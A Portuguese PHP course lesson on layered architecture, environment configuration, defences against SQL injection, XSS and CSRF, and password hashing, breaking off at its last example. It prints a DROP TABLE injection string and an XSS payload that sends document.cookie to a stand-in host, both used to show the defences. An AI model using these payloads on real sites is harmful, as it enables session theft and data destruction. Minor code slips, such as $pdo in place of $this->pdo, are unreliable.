Dia 15 — Arquitetura e segurança: PHP e MySQL

Informatica · Conteudo · publicado em 02/10/2026
Dia 15 de 17

Arquitetura e segurança

O código funciona, mas a senha está escrita dentro dele e o mesmo arquivo faz consulta, validação e HTML. Este dia trata disso: organização em camadas, configuração por `.env`, os três ataques que mais aparecem (SQL Injection, XSS e CSRF) e o tratamento de erro com `try`/`catch`. A senha de verdade vai para `password_hash`, e não para o banco em texto.

Aula 1

Organização em camadas

Camadas é a divisão do código por responsabilidade, para que cada arquivo responda por uma coisa só. O motivo é prático: a regra de negócio precisa estar em um lugar, e não espalhada em todas as telas que usam o dado.

As camadas e o que cada uma responde

CamadaPastaO que fazO que não faz
controllerpublic/recebe a requisição, escolhe a tela, redirecionanão escreve SQL
servicesrc/Service/a regra de negócionão sabe que existe banco nem HTML
repositorysrc/Repository/fala SQL e devolve arraynão decide nada
viewsrc/View/monta o HTML com os dados recebidosnão monta consulta
configsrc/Config/conexão e opções do PDOnão guarda regra de negócio

O service é a camada que costuma faltar. Sem ela, o "nota 7 reprova" acaba dentro do WHERE, que está no repository, e a tela que lista aprovados repete a condição. Trocar o corte de 7 para 8 passa a exigir mexer em todo arquivo que menciona nota.

O repository

O repository devolve array e nada mais. Quem chama não sabe se o dado veio do MySQL, de um arquivo ou de um array de teste, e por isso o mesmo service funciona nos dois casos.

final class AlunoRepository
{
    public function __construct(private PDO $pdo)
    {
    }

    public function porId(int $id): ?array
    {
        $declarado = $pdo->prepare('SELECT id, nome, nota FROM alunos WHERE id = :id');
        $declarado->execute([':id' => $id]);

        return $declarado->fetch() ?: null;
    }
}

O ?array no retorno diz que pode não haver aluno com aquele id. Devolver null é melhor do que devolver false ou um array vazio: o null se distingue com === null.

O service e o bootstrap

O service valida e decide, e não conhece a tela. O controller monta as três camadas e passa o resultado para a view, que só imprime.

$repository = new AlunoRepository($pdo);
$service    = new AlunoService($repository);
$controller = new AlunoController($service);

O bootstrap é esse trecho: ele sabe quem é quem, e só ele. Trocar o repositório de MySQL por um de teste é mudar uma linha do bootstrap, e nada mais.

O acoplamento a vigiar: quando uma camada precisa da outra para fazer a própria função, a separação está furada. Repository que valida regra de negócio e view que monta consulta são os dois sinais mais comuns.

Exemplo

<?php
declare(strict_types=1);

// Organizacao em camadas: controller, service, repository.
//
// O exemplo roda de verdade. O "banco" e um array dentro do arquivo, no lugar
// de um repository com PDO: a camada e a mesma, so muda o que existe embaixo.
// Trocar o array por $pdo->prepare() no repository nao muda uma linha do
// controller nem do service.

echo "=== 1. As tres camadas e o que cada uma responde ===\n";
$camadas = [
    'public/index.php'     => 'controller: recebe a requisicao, chama o service, escolhe a view',
    'src/Service/AlunoService.php' => 'service: a regra do negocio, nao sabe que existe banco nem tela',
    'src/Repository/AlunoRepository.php' => 'repository: so fala SQL e devolve array',
    'src/View/'             => 'view: HTML, recebe dados ja prontos, nao monta consulta',
    'src/Config/database.php' => 'config: a conexao e as opcoes do PDO',
];
foreach ($camadas as $arquivo => $papel) {
    printf("  %-32s %s\n", $arquivo, $papel);
}
echo "\n  A regra que sustenta o desenho: o controller nao escreve SQL e o\n";
echo "  repository nao decide nada. Cada um responde por uma coisa so.\n";

// --- Repository ---
final class AlunoRepository
{
    public function __construct(private PDO $pdo)
    {
    }

    public function todos(): array
    {
        $declarado = $this->pdo->query('SELECT id, nome, nota FROM alunos ORDER BY nome');
        return $declarado->fetchAll();
    }

    public function porId(int $id): ?array
    {
        $declarado = $this->pdo->prepare('SELECT id, nome, nota FROM alunos WHERE id = :id');
        $declarado->execute([':id' => $id]);

        return $declarado->fetch() ?: null;
    }

    public function inserir(string $nome, float $nota): int
    {
        $declarado = $this->pdo->prepare('INSERT INTO alunos (nome, nota) VALUES (:nome, :nota)');
        $declarado->execute([':nome' => $nome, ':nota' => $nota]);

        return (int) $this->pdo->lastInsertId();
    }
}

// --- Service ---
final class AlunoService
{
    public const NOTA_MINIMA = 7.0;

    public function __construct(private AlunoRepository $repository)
    {
    }

    public function aprovados(): array
    {
        return array_values(array_filter(
            $this->repository->todos(),
            fn (array $aluno): bool => $aluno['nota'] >= self::NOTA_MINIMA,
        ));
    }

    public function matricular(string $nome, float $nota): int
    {
        $nome = trim($nome);
        if ($nome === '' || mb_strlen($nome) > 120) {
            throw new InvalidArgumentException('Nome invalido.');
        }
        if ($nota < 0 || $nota > 10) {
            throw new InvalidArgumentException('Nota fora de 0 a 10.');
        }

        return $this->repository->inserir($nome, $nota);
    }
}

// --- Controller ---
final class AlunoController
{
    public function __construct(private AlunoService $service)
    {
    }

    public function listarAprovados(): string
    {
        // A view recebe dados prontos e devolve HTML. Ela nao sabe de SQL.
        $linhas = '';
        foreach ($this->service->aprovados() as $aluno) {
            $linhas .= sprintf(
                "  <li>%s - %.2f</li>\n",
                htmlspecialchars($aluno['nome'], ENT_QUOTES, 'UTF-8'),
                $aluno['nota'],
            );
        }

        return "<ul class=\"aprovados\">\n{$linhas}</ul>";
    }
}

// --- O "banco" em memoria, so para o exemplo rodar sem MySQL ---
$pdo = new PDO('sqlite::memory:', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$pdo->exec('CREATE TABLE alunos (id INTEGER PRIMARY KEY AUTOINCREMENT, nome TEXT, nota REAL)');
$seed = $pdo->prepare('INSERT INTO alunos (nome, nota) VALUES (:nome, :nota)');
foreach ([['Ana Souza', 8.5], ['Bruno Lima', 6.0], ['Carla Dias', 9.25]] as [$n, $nota]) {
    $seed->execute([':nome' => $n, ':nota' => $nota]);
}

// --- O bootstrap, que monta e liga tudo ---
$repository = new AlunoRepository($pdo);
$service    = new AlunoService($repository);
$controller = new AlunoController($service);

echo "\n=== 2. O resultado: a requisicao virou HTML ===\n";
echo $controller->listarAprovados();

// --- Onde cada regra mora ---
echo "\n=== 3. Onde cada regra esta escrita ===\n";
$regras = [
    "SELECT ... ORDER BY nome"      => 'repository (SQL)',
    'nota >= 7 reprova'             => 'service (regra de negocio)',
    '<li> e htmlspecialchars'       => 'controller e view (apresentacao)',
    'where fica a conexao'          => 'config (nunca no controller)',
];
foreach ($regras as $regra => $onde) {
    printf("  %-28s %s\n", $regra, $onde);
}

echo "\n=== 4. A regra de negocio protegida dentro do service ===\n";
try {
    $service->matricular('  ', 7.0);
} catch (InvalidArgumentException $e) {
    echo '  rejeitado: ' . $e->getMessage() . "\n";
}
try {
    $service->matricular('Diego Alves', 11.0);
} catch (InvalidArgumentException $e) {
    echo '  rejeitado: ' . $e->getMessage() . "\n";
}
printf("  aceito:    id %d para Carla Dias com nota 10\n", $service->matricular('Carla Dias', 10.0));

echo "\n=== 5. O acoplamento que quebra quando a regra vaza ===\n";
echo "  Se o WHERE <= 7 estiver no controller, a regra existe em um lugar\n";
echo "  so. Trocar 'nota >= 7' por 'nota >= 8' obriga a caçar em todos os\n";
echo "  arquivos. Dentro do service, e uma linha.\n";

Saída real

=== 1. As tres camadas e o que cada uma responde ===
  public/index.php                 controller: recebe a requisicao, chama o service, escolhe a view
  src/Service/AlunoService.php     service: a regra do negocio, nao sabe que existe banco nem tela
  src/Repository/AlunoRepository.php repository: so fala SQL e devolve array
  src/View/                        view: HTML, recebe dados ja prontos, nao monta consulta
  src/Config/database.php          config: a conexao e as opcoes do PDO

  A regra que sustenta o desenho: o controller nao escreve SQL e o
  repository nao decide nada. Cada um responde por uma coisa so.

=== 2. O resultado: a requisicao virou HTML ===
<ul class="aprovados">
  <li>Ana Souza - 8.50</li>
  <li>Carla Dias - 9.25</li>
</ul>
=== 3. Onde cada regra esta escrita ===
  SELECT ... ORDER BY nome     repository (SQL)
  nota >= 7 reprova            service (regra de negocio)
  <li> e htmlspecialchars      controller e view (apresentacao)
  where fica a conexao         config (nunca no controller)

=== 4. A regra de negocio protegida dentro do service ===
  rejeitado: Nome invalido.
  rejeitado: Nota fora de 0 a 10.
  aceito:    id 4 para Carla Dias com nota 10

=== 5. O acoplamento que quebra quando a regra vaza ===
  Se o WHERE <= 7 estiver no controller, a regra existe em um lugar
  so. Trocar 'nota >= 7' por 'nota >= 8' obriga a caçar em todos os
  arquivos. Dentro do service, e uma linha.
Aula 2

Configuração e ambiente

Credencial em código é credencial vazada: entra no git, no histórico e no backup. O lugar dela é a variável de ambiente, lida com getenv(), e o .env é o arquivo que guarda esses valores no servidor.

getenv

getenv(string $nome, bool $local_only = false): string|false devolve o valor da variável de ambiente, ou false se ela não existir. O ?: aplica o valor de exemplo quando o resultado é false ou string vazia.

$config = [
    'host'   => getenv('DB_HOST') ?: '127.0.0.1',
    'port'   => (int) (getenv('DB_PORT') ?: 3306),
    'name'   => getenv('DB_NAME') ?: 'escola',
    'user'   => getenv('DB_USER') ?: 'app_user',
    'pass'   => getenv('DB_PASS') ?: '',
    'charset' => 'utf8mb4',
];

O valor de exemplo existe para o projeto rodar na máquina de quem estuda sem configurar nada. Em produção as variáveis existem, e o padrão nunca entra.

O .env e o .gitignore

O .env guarda os pares que o código lê:

DB_HOST=127.0.0.1
DB_NAME=escola
DB_USER=app_user
DB_PASS=aluno123
APP_ENV=desenvolvimento
APP_DEBUG=true

O .env entra no .gitignore na mesma hora em que é criado. Depois que entra no histórico, ele está em todo clone do repositório, e apagar o arquivo não resolve.

O PHP puro não lê .env: quem lê é o servidor. No php-fpm e no Apache com mod_env, a variável é exportada no ambiente do processo. Frameworks usam biblioteca para fazer essa leitura. Fora do servidor web, vira export DB_PASS=... no terminal.

Desenvolvimento contra produção

VariávelDesenvolvimentoProdução
APP_ENVdesenvolvimentoproducao
APP_DEBUGtruefalse
DB_HOST127.0.0.1host do servidor

O código lê as duas igual; o que muda é o valor, que vem de fora. É esse o motivo de a configuração não estar no arquivo: a mesma versão sobe em ambientes diferentes sem edição.

APP_DEBUG=true mostra o erro completo, com arquivo, linha e pilha. Em produção isso entrega ao visitante o nome do banco, o usuário e a senha que o PHP leu do ambiente. APP_DEBUG=false mostra uma página de erro e grava o detalhe no log do servidor.

Exemplo

<?php
declare(strict_types=1);

// Configuracao e ambiente: getenv, variavel de ambiente e o que fazer em
// desenvolvimento e em producao.
//
// Roda de verdade. O arquivo nao pede nenhuma senha ao usuario: le o que o
// ambiente ja tem (ou um valor de exemplo, no desenvolvimento) e mostra como
// cada variavel chega no PHP.

echo "=== 1. Variavel de ambiente e getenv() ===\n";
echo "  Variavel de ambiente e um par nome/valor que mora fora do codigo,\n";
echo "  no sistema operacional ou no servidor web. O PHP le com getenv().\n\n";

// As variaveis que o sistema operacional tem agora.
$sistema = ['HOME', 'PATH', 'LANG', 'TERM'];
foreach ($sistema as $nome) {
    $valor = getenv($nome);
    printf("  %-8s %s\n", $nome, $valor === false ? '(nao definida)' : substr($valor, 0, 40));
}
printf("  %-8s %s\n", 'DB_PASS', var_export(getenv('DB_PASS'), true));

echo "\n=== 2. O padrao: getenv() com valor de exemplo ===\n";
$config = [
    'app_env'  => getenv('APP_ENV') ?: 'desenvolvimento',
    'app_debug'=> filter_var(getenv('APP_DEBUG') ?: 'true', FILTER_VALIDATE_BOOL),
    'db_host'  => getenv('DB_HOST') ?: '127.0.0.1',
    'db_port'  => (int) (getenv('DB_PORT') ?: 3306),
    'db_name'  => getenv('DB_NAME') ?: 'escola',
    'db_user'  => getenv('DB_USER') ?: 'app_user',
    'db_pass'  => getenv('DB_PASS') ?: '',
    'db_charset' => 'utf8mb4',
];

foreach ($config as $chave => $valor) {
    $mostrar = $chave === 'db_pass' ? '(vazio, nunca no codigo)' : var_export($valor, true);
    printf("  %-12s %s\n", $chave, $mostrar);
}

echo "\n=== 3. Por que o valor de exemplo nao e o valor de producao ===\n";
echo "  O sinal de interrogacao em getenv('X') ?: 'padrao' significa:\n";
echo "  usa o valor do ambiente se existir, senao usa este. Em producao as\n";
echo "  variaveis existem e o padrao nunca entra. O padrao existe para o\n";
echo "  aluno rodar o projeto na propria maquina sem configurar nada.\n";

// --- O que o .env guarda ---
echo "\n=== 4. O que vai dentro do .env e o que nunca vai ===\n";
$arquivo = [
    'DB_HOST=127.0.0.1',
    'DB_NAME=escola',
    'DB_USER=app_user',
    'DB_PASS=aluno123',
    'APP_ENV=desenvolvimento',
    'APP_DEBUG=true',
];
foreach ($arquivo as $linha) {
    printf("  %s\n", $linha);
}
echo "\n  Esse arquivo fica no servidor e no .gitignore. E a credencial do\n";
echo "  banco, entao ela nao entra no git em momento nenhum.\n";

echo "\n=== 5. O .gitignore que protege o .env ===\n";
$ignorar = ['.env', 'vendor/', 'uploads/', '*.log', '.idea/', '.vscode/'];
foreach ($ignorar as $linha) {
    printf("  %s\n", $linha);
}

// --- Dois ambientes, mesmas variaveis ---
echo "\n=== 6. Desenvolvimento e producao com as mesmas chaves ===\n";
$servidores = [
    'desenvolvimento' => ['APP_DEBUG' => 'true',  'DB_HOST' => '127.0.0.1'],
    'producao'         => ['APP_DEBUG' => 'false', 'DB_HOST' => 'srv-db-interno'],
];
foreach ($servidores as $ambiente => $vars) {
    printf("  %-15s", $ambiente);
    foreach ($vars as $k => $v) {
        printf(" %s=%s", $k, $v);
    }
    echo "\n";
}
echo "\n  O codigo le as duas igual. O que muda e o valor, que vem de fora.\n";

// --- APP_DEBUG decide o que aparece ---
echo "\n=== 7. O que o debug controla ===\n";
echo "  APP_DEBUG=true : mostra o erro completo, com arquivo, linha e pilha.\n";
echo "  APP_DEBUG=false: mostra uma pagina de erro e grava o detalhe no log.\n";
echo "  Ligar o debug em producao entrega ao visitante o nome do banco,\n";
echo "  o usuario e a senha que o PHP leu do ambiente.\n";

// --- O lugar da conexao ---
echo "\n=== 8. Onde a conexao fica no projeto ===\n";
$codigo = <<<'PHP'
<?php
// src/Config/database.php
declare(strict_types=1);

function conexao(): PDO
{
    $senha = getenv('DB_PASS');
    $dsn   = sprintf(
        'mysql:host=%s;port=%s;dbname=%s;charset=utf8mb4',
        getenv('DB_HOST') ?: '127.0.0.1',
        getenv('DB_PORT') ?: '3306',
        getenv('DB_NAME') ?: 'escola',
    );

    return new PDO($dsn, getenv('DB_USER') ?: 'app_user', $senha ?: '', [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false,
    ]);
}
PHP;
echo $codigo . "\n";

echo "  O PHP puro nao le .env: quem le e o servidor (php-fpm), o Apache\n";
echo "  (mod_env) ou o framework, via biblioteca. Sem servidor web, o .env\n";
echo "  vira variavel de ambiente com export no terminal.\n";

Saída real

=== 1. Variavel de ambiente e getenv() ===
  Variavel de ambiente e um par nome/valor que mora fora do codigo,
  no sistema operacional ou no servidor web. O PHP le com getenv().

  HOME     /root
  PATH     /usr/local/sbin:/usr/local/bin:/usr/sbin
  LANG     (nao definida)
  TERM     (nao definida)
  DB_PASS  false

=== 2. O padrao: getenv() com valor de exemplo ===
  app_env      'desenvolvimento'
  app_debug    true
  db_host      '127.0.0.1'
  db_port      3306
  db_name      'escola'
  db_user      'app_user'
  db_pass      (vazio, nunca no codigo)
  db_charset   'utf8mb4'

=== 3. Por que o valor de exemplo nao e o valor de producao ===
  O sinal de interrogacao em getenv('X') ?: 'padrao' significa:
  usa o valor do ambiente se existir, senao usa este. Em producao as
  variaveis existem e o padrao nunca entra. O padrao existe para o
  aluno rodar o projeto na propria maquina sem configurar nada.

=== 4. O que vai dentro do .env e o que nunca vai ===
  DB_HOST=127.0.0.1
  DB_NAME=escola
  DB_USER=app_user
  DB_PASS=aluno123
  APP_ENV=desenvolvimento
  APP_DEBUG=true

  Esse arquivo fica no servidor e no .gitignore. E a credencial do
  banco, entao ela nao entra no git em momento nenhum.

=== 5. O .gitignore que protege o .env ===
  .env
  vendor/
  uploads/
  *.log
  .idea/
  .vscode/

=== 6. Desenvolvimento e producao com as mesmas chaves ===
  desenvolvimento APP_DEBUG=true DB_HOST=127.0.0.1
  producao        APP_DEBUG=false DB_HOST=srv-db-interno

  O codigo le as duas igual. O que muda e o valor, que vem de fora.

=== 7. O que o debug controla ===
  APP_DEBUG=true : mostra o erro completo, com arquivo, linha e pilha.
  APP_DEBUG=false: mostra uma pagina de erro e grava o detalhe no log.
  Ligar o debug em producao entrega ao visitante o nome do banco,
  o usuario e a senha que o PHP leu do ambiente.

=== 8. Onde a conexao fica no projeto ===
<?php
// src/Config/database.php
declare(strict_types=1);

function conexao(): PDO
{
    $senha = getenv('DB_PASS');
    $dsn   = sprintf(
        'mysql:host=%s;port=%s;dbname=%s;charset=utf8mb4',
        getenv('DB_HOST') ?: '127.0.0.1',
        getenv('DB_PORT') ?: '3306',
        getenv('DB_NAME') ?: 'escola',
    );

    return new PDO($dsn, getenv('DB_USER') ?: 'app_user', $senha ?: '', [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false,
    ]);
}
  O PHP puro nao le .env: quem le e o servidor (php-fpm), o Apache
  (mod_env) ou o framework, via biblioteca. Sem servidor web, o .env
  vira variavel de ambiente com export no terminal.
Aula 3

SQL Injection, XSS e CSRF

São três ataques distintos, com três defeitos diferentes e três defesas diferentes. O que os separa é a origem do valor: o primeiro vem do que o usuário escreve, o segundo do que fica guardado no banco, o terceiro vem de outra página.

SQL Injection

Como acontece: o valor do usuário é concatenado no texto do SQL. A aspa simples que ele digita fecha o trecho de texto, e o resto é lido como comando.

// o campo de busca recebe: Ana'; DROP TABLE alunos; --
// o SQL que chega ao banco:
$sql = "SELECT * FROM alunos WHERE nome = '{$busca}'";
// SELECT * FROM alunos WHERE nome = 'Ana'; DROP TABLE alunos; --'

Defesa: prepare() com placeholder. O valor viaja separado do comando e o banco o vê como texto, nunca como sintaxe. Não existe filtro de entrada que substitua isso: addslashes() quebra com barra invertida, e trocar a aspa por nada altera o dado.

XSS

Como acontece: o dado saiu do banco já com uma tag dentro, e a tela o imprime sem escapar. O navegador encontra a tag e executa, na conta de quem abriu a página.

// o comentario guardado é: <script>fetch("...?..."+document.cookie)</script>
echo $comentario;                                        // a tag vira código
echo htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8'); // a tag vira texto

Defesa: htmlspecialchars() com ENT_QUOTES e UTF-8, em todo valor dinâmico, no momento de imprimir. O ponto é a saída: escapar ao gravar resolve para o primeiro site que leu o dado e quebra o próximo que for ler.

CSRF

Como acontece: o navegador manda o cookie de sessão em todo pedido, sem perguntar. Se a ação sensível não exigir nada que só a página legítima tenha, um site aberto na outra aba dispara a ação com a identidade da pessoa, e o servidor vê um POST normal.

Defesa: um token guardado na sessão, colocado no formulário e conferido no servidor a cada ação que muda dado.

$_SESSION['csrf_token'] ??= bin2hex(random_bytes(32));
?>
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

<?php
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
    exit('Requisicao invalida.');
}

random_bytes() não tem derive, é o gerador criptográfico do sistema. hash_equals() compara em tempo constante, para que o token não possa ser adivinhado medindo quanto tempo a comparação leva.

Resumo e o que não protege

AtaqueOrigem do valorDefesa
SQL Injectiono que o usuário digitaprepare() com placeholder
XSSo que está guardado no bancohtmlspecialchars() na saída
CSRFoutra página usando o cookietoken por sessão com hash_equals()

Não são problema de filtro de entrada: os três se resolvem na saída e no transporte do valor, não na hora de ler. Um filter_input() bem configurado ajuda a rejeitar entrada obviamente inválida, mas não substitui nenhuma das três defesas.

Exemplo

<?php
declare(strict_types=1);

// Os tres ataques que mais aparecem em site feito em PHP: SQL Injection, XSS
// e CSRF. Cada um com o codigo do ataque, o que ele conquista e a defesa.
//
// O ataque de SQL Injection aparece como SQL montado, porque nao ha MySQL
// neste ambiente. O ataque de XSS e o de CSRF rodam de verdade: o codigo de
// geracao do token usa random_bytes, que funciona em qualquer lugar.

echo "=== 1. SQL Injection: quando o valor entra no texto do comando ===\n";
$entrada = "'; DROP TABLE alunos; --";
$sqlVulneravel = "SELECT * FROM alunos WHERE nome = '{$entrada}'";
echo "  valor digitado:  {$entrada}\n";
echo "  SQL que roda:    {$sqlVulneravel}\n";
echo "  a aspa fecha o texto e o resto vira comando: a tabela cai.\n\n";

$sqlSeguro = 'SELECT * FROM alunos WHERE nome = :nome';
echo "  com prepared statement o SQL e sempre o mesmo:\n";
echo "  {$sqlSeguro}\n";
echo "  e o valor viaja separado, visto pelo banco como texto.\n";
echo "  defesa: prepare() + execute() sempre. Nao existe caso em que a\n";
echo "  concatenacao de string com valor de usuario seja aceitavel.\n";

echo "\n=== 2. XSS: quando o dado volta para o HTML sem escapar ===\n";
$comentario = '<script>fetch("https://ataque.example/?"+document.cookie)</script>';

// O que acontece sem escapar: o navegador encontra a tag e a executa.
echo "  comentario salvo:   {$comentario}\n";
echo "  exibido sem escape: {$comentario}\n";
echo "  a tag vira codigo e roda na conta de quem sobe a pagina.\n\n";

// A defesa: escapar na saida, nao na entrada.
$escapado = htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8');
echo "  exibido com escape: {$escapado}\n";
echo "  agora a tag aparece como texto, e nao executa.\n\n";
echo "  defesa: htmlspecialchars com ENT_QUOTES e UTF-8 em todo valor\n";
echo "  dinamico, no momento de imprimir. Escapar ao gravar resolve para\n";
echo "  o primeiro site que leu, e quebra o proximo que le o mesmo dado.\n";

echo "\n=== 3. CSRF: quando outra pagina usa a sua sessao sem pedir ===\n";
echo "  O navegador manda o cookie de sessao em todo pedido automatico.\n";
echo "  Se a acao sensivel (apagar conta, mudar e-mail) nao exigir nada que\n";
echo "  so a pagina legitima tenha, qualquer site aberto na outra aba dispara\n";
echo "  a acao com a sua identidade. O servidor ve um POST valido.\n\n";

echo "  defesa: token unico por sessao, guardado no formulario e conferido\n";
echo "  no servidor a cada acao que muda dado.\n\n";

$token = bin2hex(random_bytes(32));
echo "  token gerado com random_bytes: {$token}\n";
printf("  tamanho: %d caracteres (%d bytes de entropia)\n", strlen($token), 32);
echo "  O mesmo valor vai em \$_SESSION e em um campo hidden do formulario.\n";
echo "  No POST, o servidor compara. Divergente, a acao nao acontece.\n";

// --- O formulario com o token ---
echo "\n=== 4. O token no formulario e a conferida no POST ===\n";
$html = <<<'HTML'
<form action="/excluir.php" method="post">
    <input type="hidden" name="csrf_token" value="<token gerado acima>">
    <button type="submit">Excluir minha conta</button>
</form>
HTML;
echo $html . "\n";

echo "  A conferida, do lado do servidor:\n";
echo "  if (!hash_equals(\$_SESSION['csrf_token'], \$_POST['csrf_token'] ?? '')) {\n";
echo "      exit('Requisicao invalida.');\n";
echo "  }\n\n";
echo "  hash_equals compara em tempo constante, para que ninguem possa\n";
echo "  adivinhar o token medindo quanto tempo a comparacao leva.\n";

// --- Por que nao serve o que o atacante sabe ---
echo "\n=== 5. Por que o token barra o ataque ===\n";
$motivos = [
    'o site de ataque nao tem o valor do token',
    'o token muda a cada sessao, entao o de ontem nao serve',
    'o token nunca aparece na URL, entao nao vaza por link',
];
foreach ($motivos as $motivo) {
    echo "  - {$motivo}\n";
}

echo "\n=== 6. As tres defesas, lado a lado ===\n";
$defesas = [
    'SQL Injection' => 'prepared statement: o valor nunca entra no texto do SQL',
    'XSS'           => 'htmlspecialchars(ENT_QUOTES, UTF-8) em toda saida dinamica',
    'CSRF'          => 'token por sessao conferido com hash_equals em toda acao POST',
];
foreach ($defesas as $risco => $defesa) {
    printf("  %-15s %s\n", $risco, $defesa);
}

echo "\n=== 7. O que nao e defesa ===\n";
$errados = [
    'addslashes'            => 'nao entendeu o que dizer: nao e defesa contra Injection',
    'str_replace de aspa'   => 'remover a aspa quebra o texto e continua sendo concatenacao',
    'FILTER_SANITIZE_STRING' => 'remover tag na entrada nao protege a saida de outros contextos',
    'pedir para nao clicar' => 'o ataque nao precisa de clique em nada',
];
foreach ($errados as $coisa => $motivo) {
    printf("  %-24s %s\n", $coisa, $motivo);
}
echo "\n  SQL Injection, XSS e CSRF nao se resolvem com filtro de entrada.\n";
echo "  Resolvem com prepared statement, escape na saida e token.\n";

Saída real

=== 1. SQL Injection: quando o valor entra no texto do comando ===
  valor digitado:  '; DROP TABLE alunos; --
  SQL que roda:    SELECT * FROM alunos WHERE nome = ''; DROP TABLE alunos; --'
  a aspa fecha o texto e o resto vira comando: a tabela cai.

  com prepared statement o SQL e sempre o mesmo:
  SELECT * FROM alunos WHERE nome = :nome
  e o valor viaja separado, visto pelo banco como texto.
  defesa: prepare() + execute() sempre. Nao existe caso em que a
  concatenacao de string com valor de usuario seja aceitavel.

=== 2. XSS: quando o dado volta para o HTML sem escapar ===
  comentario salvo:   <script>fetch("https://ataque.example/?"+document.cookie)</script>
  exibido sem escape: <script>fetch("https://ataque.example/?"+document.cookie)</script>
  a tag vira codigo e roda na conta de quem sobe a pagina.

  exibido com escape: &lt;script&gt;fetch(&quot;https://ataque.example/?&quot;+document.cookie)&lt;/script&gt;
  agora a tag aparece como texto, e nao executa.

  defesa: htmlspecialchars com ENT_QUOTES e UTF-8 em todo valor
  dinamico, no momento de imprimir. Escapar ao gravar resolve para
  o primeiro site que leu, e quebra o proximo que le o mesmo dado.

=== 3. CSRF: quando outra pagina usa a sua sessao sem pedir ===
  O navegador manda o cookie de sessao em todo pedido automatico.
  Se a acao sensivel (apagar conta, mudar e-mail) nao exigir nada que
  so a pagina legitima tenha, qualquer site aberto na outra aba dispara
  a acao com a sua identidade. O servidor ve um POST valido.

  defesa: token unico por sessao, guardado no formulario e conferido
  no servidor a cada acao que muda dado.

  token gerado com random_bytes: 0bddcc756370be98f5c7899796b0ec8d8218c2984bec10319e96218895225519
  tamanho: 64 caracteres (32 bytes de entropia)
  O mesmo valor vai em $_SESSION e em um campo hidden do formulario.
  No POST, o servidor compara. Divergente, a acao nao acontece.

=== 4. O token no formulario e a conferida no POST ===
<form action="/excluir.php" method="post">
    <input type="hidden" name="csrf_token" value="<token gerado acima>">
    <button type="submit">Excluir minha conta</button>
</form>
  A conferida, do lado do servidor:
  if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
      exit('Requisicao invalida.');
  }

  hash_equals compara em tempo constante, para que ninguem possa
  adivinhar o token medindo quanto tempo a comparacao leva.

=== 5. Por que o token barra o ataque ===
  - o site de ataque nao tem o valor do token
  - o token muda a cada sessao, entao o de ontem nao serve
  - o token nunca aparece na URL, entao nao vaza por link

=== 6. As tres defesas, lado a lado ===
  SQL Injection   prepared statement: o valor nunca entra no texto do SQL
  XSS             htmlspecialchars(ENT_QUOTES, UTF-8) em toda saida dinamica
  CSRF            token por sessao conferido com hash_equals em toda acao POST

=== 7. O que nao e defesa ===
  addslashes               nao entendeu o que dizer: nao e defesa contra Injection
  str_replace de aspa      remover a aspa quebra o texto e continua sendo concatenacao
  FILTER_SANITIZE_STRING   remover tag na entrada nao protege a saida de outros contextos
  pedir para nao clicar    o ataque nao precisa de clique em nada

  SQL Injection, XSS e CSRF nao se resolvem com filtro de entrada.
  Resolvem com prepared statement, escape na saida e token.
Aula 4

Senhas, sessão e tratamento de erro

Senha em texto no banco vira senha de todo mundo no primeiro backup que vaza. O que se guarda é o hash, e quem confere a senha é o PHP. Junto disso vêm a sessão, que guarda quem está entrando, e o tratamento de erro, que decide o que o visitante vê.

Senha

password_hash(string $senha, ?string $algoritmo = null, array $opcoes = []): string devolve o hash. password_verify(string $senha, string $hash): bool confere. password_needs_rehash(string $hash, ?string $algoritmo = null, array $opcoes = []): bool diz se o hash guardado já está velho.

$hash = password_hash($senha, PASSWORD_DEFAULT);

if (password_verify($senhaDada, $hash)) {
    // entrou
}

if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
    $hash = password_hash($senhaDada, PASSWORD_DEFAULT);
    // regra que o hash novo vai salvar
}

Três pontos que evitam erro:

  • A senha nunca é gravada. No banco, no log e no formulário de recuperação fica só o hash.
  • A comparação é password_verify(), nunca === nem ==. Cada hash tem sal aleatório dentro, então dois hashes da mesma senha são diferentes: comparar os dois hashes dá false mesmo com a senha certa.
  • PASSWORD_DEFAULT em vez do nome do algoritmo. Ele aponta para o mais seguro disponível no PHP atual. Escrever PASSWORD_BCRYPT no código envelhece: o bcrypt fica caro de quebrar, mas não acompanha o que vier depois.

Sessão

session_start(): bool abre a sessão e manda o cookie. $_SESSION é o array onde fica o estado entre requisições. session_id(): string devolve o identificador, session_destroy(): bool encerra.

session_start();
$_SESSION['aluno_id'] = 42;
$id = $_SESSION['aluno_id'] ?? null;

O cookie de sessão se configura com session_set_cookie_params():

OpçãoValor recomendadoPor quê
httponlytrueJavaScript não lê o cookie, o que corta o roubo por XSS
securetrueo cookie só viaja por https
samesiteLaxnão acompanha POST vindo de outro site, o que corta CSRF

O dado não viaja na resposta: o cookie leva só um código, e o array fica no servidor.

session_start() precisa ser a primeira linha do arquivo, antes de qualquer echo, porque o cookie é um cabeçalho HTTP e cabeçalho não é enviado depois de texto na resposta. Espaço em branco antes do <?php já conta como saída, e produz o aviso Session cannot be started after headers have already been sent.

Erro

try, catch e finally organizam o bloco. A parte que importa é o que se faz com a mensagem.

$e->getMessage() do PDOException carrega o SQLSTATE, o trecho do SQL que falhou e, em falha de conexão, o host e o usuário do banco. Mostrar isso na tela entrega a estrutura do servidor para qualquer visitante.

try {
    // consultas
} catch (PDOException $e) {
    error_log('ERRO banco: ' . $e->getMessage());   // detalhe para quem mantém
    exit('Nao foi possivel concluir a operacao.');   // frase genérica para a tela
}

O catch do PDOException é do tipo do erro do banco. Um catch (Throwable $e) também pega o que vier de outra camada, e é o que serve quando o bloco é uma transação.

Exemplo

<?php
declare(strict_types=1);

// Senhas, sessao e tratamento de erro.
//
// Roda de verdade. A sessao e criada no topo do arquivo, antes de qualquer
